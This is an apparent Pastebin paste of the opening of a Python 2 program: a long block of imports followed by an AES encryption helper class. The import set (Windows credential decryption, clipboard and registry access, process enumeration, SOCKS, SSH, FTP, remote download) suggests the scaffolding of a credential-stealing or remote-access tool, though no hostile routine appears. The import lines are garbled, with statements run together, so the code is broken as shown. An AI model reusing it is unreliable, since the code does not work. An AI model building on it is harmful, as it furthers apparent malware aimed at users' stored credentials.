Advertisement
Lulz-Tigre

Zib_import

Jul 6th, 2016
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.01 KB | None | 0 0
  1. from os import getenv import sqlite3 import win32crypt from os import
  2. path import sys from os import listdir import base64 import hashlib from
  3. Crypto import Random from Crypto.Cipher import AES from zipfile import
  4. ZipFile import htmlentitydefs import HTMLParser import win32clipboard
  5. from re import match from django import forms from django.forms.util
  6. import ValidationError from Crypto.Hash import SHA256 import zlib from
  7. urllib2 import urlopen from urllib2 import Request from hashlib import
  8. sha256 from thread import start_new_thread from socket import socket
  9. from socket import AF_INET from socket import SOCK_STREAM from socket
  10. import SOCK_DGRAM from socks import socksocket from socks import
  11. PROXY_TYPE_SOCKS5 from win32api import OpenProcess from win32process
  12. import EnumProcesses from pyttsx import init from win32con import
  13. PROCESS_ALL_ACCESS from win32process import GetModuleFileNameEx from
  14. urllib2 import urlopen as urlopen2 from urllib2 import Request from
  15. urllib2 import urlparse from sys import argv from sys import stdout from
  16. time import sleep from platform import system from platform import
  17. version from ssl import wrap_socket from os import sep from ftplib
  18. import FTP from shutil import copyfile from platform import release from
  19. os import remove from os import environ from multiprocessing import
  20. cpu_count from os import makedirs from shutil import rmtree from os
  21. import startfile from _winreg import * from ctypes import sizeof from os
  22. import walk from ctypes import c_voidp from string import letters import
  23. pythoncom from os.path import join from string import digits from random
  24. import randrange from random import seed from random import choice from
  25. urllib import urlopen from urllib import urlencode from urllib import
  26. urlretrieve from threading import Thread from getpass import getuser
  27. from uuid import uuid1 from _winreg import ConnectRegistry, REG_SZ,
  28. SetValueEx, KEY_WRITE, KEY_READ, QueryInfoKey, EnumValue,
  29. HKEY_CURRENT_USER, OpenKey, HKEY_LOCAL_MACHINE, KEY_ALL_ACCESS,
  30. DeleteValue from win32com.client import GetObject from paramiko import
  31. SSHClient from paramiko import AutoAddPolicy from base64 import
  32. b64encode from subprocess import Popen from base64 import b64decode from
  33. os import chdir import wmi class AESCipher(object):
  34. def __init__(self, key):
  35. self.bs = 32
  36. self.key = hashlib.sha256(key.encode()).digest()
  37. def encrypt(self, raw):
  38. raw = self._pad(raw)
  39. iv = Random.new().read(AES.block_size)
  40. cipher = AES.new(self.key, AES.MODE_CBC, iv)
  41. return base64.b64encode(iv + cipher.encrypt(raw))
  42. def decrypt(self, enc):
  43. enc = base64.b64decode(enc)
  44. iv = enc[:AES.block_size]
  45. cipher = AES.new(self.key, AES.MODE_CBC, iv)
  46. return
  47. self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
  48. def _pad(self, s):
  49. return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) %
  50. self.bs)
  51. @staticmethod
  52. def _unpad(s):
  53. return s[:-ord(s[len(s)-1:])]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement